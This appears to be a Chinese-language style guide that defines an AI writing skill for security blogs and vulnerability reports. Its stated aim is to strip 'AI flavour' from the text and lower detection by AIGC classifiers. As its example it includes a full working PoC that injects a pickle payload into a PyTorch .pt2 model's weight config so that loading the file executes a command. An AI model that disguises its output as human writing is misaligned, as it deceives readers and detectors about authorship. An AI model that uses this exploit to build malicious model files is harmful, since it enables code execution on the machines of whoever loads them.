| name | blog-create-skills |
|---|---|
| description | 写博客、渗透测试报告、漏洞分析文章,去除AI味,降低AIGC检测率。目标场景以安全研究类文章为主。 |
整体风格遵循简洁、清晰、准确的原则,既要避免过度修饰与复杂表述,也要避免过于官方的用语,还要防止出现一些AI特有的标记。人称始终在我们和无人称之间切换,结构松散处理。
不仅要避免出现"像"这样的比喻连接词,也要避免隐喻、暗喻、成语、歇后语等修辞手法。在描述技术行为时尤其注意,不要将函数或组件拟人化,函数不会"迫不及待",也不会"毫不犹豫"。
正确的表述:swagger-ui 暴露了内部系统的接口,可以用来进行深度渗透。
错误的表达:swagger-ui 为我们打开了系统的大门,像灯塔一样指引我们的方向。
正确的表述:_load_state_dict 读取被改动后的 JSON 配置,当 use_pickle 为真时,直接将字节流传入下层反序列化模块,该模块对传入数据不做任何校验。
错误的表达:_load_state_dict 扮演了提取恶意声明的核心职能,毫不犹豫地传递了这个危险对象流,下发给最缺乏管制的层级处理模块。
避免的不是"容器、沙箱、上下文追踪"这样的技术术语,而是不要出现"秉持、赋能、聚焦、深度赋能、落地、抓手、闭环"这样的官方套话。同样要避免"值得注意的是"、"不难发现"、"显而易见"这类 AI 惯用的过渡语气词。
以下格式规范仅约束文章的正文输出,不涉及本文档本身的格式。
避免出现:
- 使用括号去解释说明
- 使用括号去用英文翻译中文
- 使用
**在非标题处加粗 - 使用破折号去解释说明
- 使用
-列表项来分点陈述
当内容确实需要罗列时,优先改写为连续的段落文字。
人称始终在我们和无人称之间切换,符合文章记录这种娓娓道来的风格。不要使用"大家好"这种问候语,而是直接说明问题。
总分结构是一种很好的框架,但总写中不要逐一概括后续的每个点,而是通过简要的话语引出后续内容。不要使用过于严格的总分总结构,尤其不要使用"综上所述"、"所以我们可以看出"这样的总结语,段落和章节采用松散的收尾方式。
AI 生成的文章往往句式单一,大量使用"主语 + 谓语 + 宾语"的标准句式,且句子长度高度一致。自然的写作中,长句与短句应当交替出现,偶尔用一两个短句收束一段复杂的描述,读起来节奏才不单调。
过渡段落也无需每次都用"首先、其次、然后、最后"这样的明确序号,有时直接切换视角或跳到下一个要点更为自然。同一段落内,主语可以适当省略或替换,不要每句话都从同一个主语起头。
不要用"本文将介绍……"、"本文主要分析……"这样的自我介绍句式开头,而是直接切入背景或问题本身。开头段落不需要预告后续结构,把读者当成已经了解基本背景的人,直接进入有价值的内容。
在涉及到漏洞细节分析或项目源码分析时会涉及到具体的代码片段,要求如下:
- 在分析漏洞细节时沿 source 点到 sink 点的路径进行分析
- 在分析项目源码时由模块的入口开始,逐步深入
- 当存在全局配置时,注意分析其对漏洞或项目功能的影响
整体遵循 代码块 + 分析 的原则,确保每个代码块都有对应的分析说明。每个代码块要包含完整的方法或类代码,不允许用省略号省略你认为无关紧要的部分。
以下是一个正确的示例:
```python
def _load_exported_programs(
archive_reader: PT2ArchiveReader,
file_names: list[str],
expected_opset_version: dict[str, int] | None,
) -> dict[str, ExportedProgram]:
exported_program_files = [
file for file in file_names if file.startswith(MODELS_DIR)
]
exported_programs = {}
for file in exported_program_files:
prefix, suffix = MODELS_FILENAME_FORMAT.split(
"{}"
) # split "models/{}.json" into "models/" and "json"
model_name = file[
len(prefix) : -len(suffix)
] # given "models/foo.json" we can now get "foo"
sample_inputs_file = SAMPLE_INPUTS_FILENAME_FORMAT.format(model_name)
serialized_sample_inputs = archive_reader.read_bytes(sample_inputs_file)
from torch._export.serde.serialize import _bytes_to_dataclass
exported_program_bytes = archive_reader.read_bytes(file)
serialized_exported_program = _bytes_to_dataclass(
schema.ExportedProgram, exported_program_bytes
)
state_dict = _load_state_dict(archive_reader, model_name)
constants = _load_constants(archive_reader, model_name)
ep = ExportedProgramDeserializer(expected_opset_version).deserialize(
serialized_exported_program,
state_dict,
constants,
serialized_sample_inputs,
)
exported_programs[model_name] = ep
return exported_programs
```
在装载流程中,`_load_state_dict` 负责读取被改动后的 JSON 配置。遍历到 `use_pickle` 字段为真时,函数直接将对应的字节流传递给下层的反序列化处理模块,而该模块对传入数据不做任何校验。
在涉及到漏洞利用时,可以结合 POC 代码来演示漏洞的触发过程。注意在使用 POC 时要确保其与实际环境相符,如果使用到了 requests 库之外的操作,需要单独说明。
以下是一个简单的 POC 示例:
完整的恶意文件构建过程分为如下几个阶段。
#### 生成合法模型结构躯壳
```python
class MyModule(torch.nn.Module):
def __init__(self):
super().__init__()
self.w = torch.nn.Parameter(torch.randn(1))
def forward(self, x):
return x + self.w
ep = export(MyModule(), (torch.randn(1),))
save(ep, "benign.pt2")
```
这里定义了一个只包含单一参数的简单 PyTorch 模块,使用框架提供的 export 和 save 接口将其导出,得到一个结构完整的合法 .pt2 文件供后续篡改使用。
#### 构造反序列化执行载荷
```python
class Malicious:
def __reduce__(self):
cmd = "calc.exe"
return (os.system, (cmd,))
payload = pickle.dumps(Malicious())
```
`Malicious` 类通过实现 `__reduce__` 方法控制反序列化行为,使其在被还原时调用 `os.system` 执行指定命令。调用 `pickle.dumps` 将该对象序列化为字节流,作为后续注入的 payload。
#### 劫持底层解析配置文件
```python
with zipfile.ZipFile("benign.pt2", "r") as z_in:
first_file = z_in.namelist()[0]
root_folder = first_file.split('/')[0] if '/' in first_file else first_file.split('\\')[0]
with zipfile.ZipFile("malicious.pt2", "w") as z_out:
for item in z_in.infolist():
content = z_in.read(item.filename)
if item.filename.endswith("model_weights_config.json"):
config = json.loads(content.decode("utf-8"))
print("[DEBUG] Found model_weights_config.json, injecting payload metadata...")
config["config"]["malicious_rce"] = {
"path_name": "malicious_payload",
"is_param": False,
"use_pickle": True,
"tensor_meta": None
}
content = json.dumps(config).encode("utf-8")
z_out.writestr(item, content)
malicious_path = f"{root_folder}/data/weights/malicious_payload"
zip_info = zipfile.ZipInfo(malicious_path)
z_out.writestr(zip_info, payload)
```
打开原始模型文件,找到其中的 model_weights_config.json,向配置中写入一条名为 malicious_rce 的虚假权重记录,将 use_pickle 字段设为 true,并将对应路径处的数据替换为前面生成的 payload 字节流。框架在加载权重时会直接信任该字段,从而触发反序列化执行。
### 3.2 一键利用 PoC
将全部流程整合封装好的可用漏洞验证脚本如下所示。
```python
import torch
from torch.export import export, save, load
import os
import json
import zipfile
import pickle
import platform
class MyModule(torch.nn.Module):
def __init__(self):
super().__init__()
self.w = torch.nn.Parameter(torch.randn(1))
def forward(self, x):
return x + self.w
ep = export(MyModule(), (torch.randn(1),))
save(ep, "benign.pt2")
class Malicious:
def __reduce__(self):
cmd = "calc.exe"
return (os.system, (cmd,))
payload = pickle.dumps(Malicious())
with zipfile.ZipFile("benign.pt2", "r") as z_in:
first_file = z_in.namelist()[0]
root_folder = first_file.split('/')[0] if '/' in first_file else first_file.split('\\')[0]
with zipfile.ZipFile("malicious.pt2", "w") as z_out:
for item in z_in.infolist():
content = z_in.read(item.filename)
if item.filename.endswith("model_weights_config.json"):
config = json.loads(content.decode("utf-8"))
print("[DEBUG] Found model_weights_config.json, injecting payload metadata...")
config["config"]["malicious_rce"] = {
"path_name": "malicious_payload",
"is_param": False,
"use_pickle": True,
"tensor_meta": None
}
content = json.dumps(config).encode("utf-8")
z_out.writestr(item, content)
malicious_path = f"{root_folder}/data/weights/malicious_payload"
zip_info = zipfile.ZipInfo(malicious_path)
z_out.writestr(zip_info, payload)
print("[*] Malicious model 'malicious.pt2' generated.")
torch.export.load("malicious.pt2")
```
在适当的时候可以使用 mermaid 代码来绘制流程图或状态机等可视化内容,比如分析漏洞利用链等情况。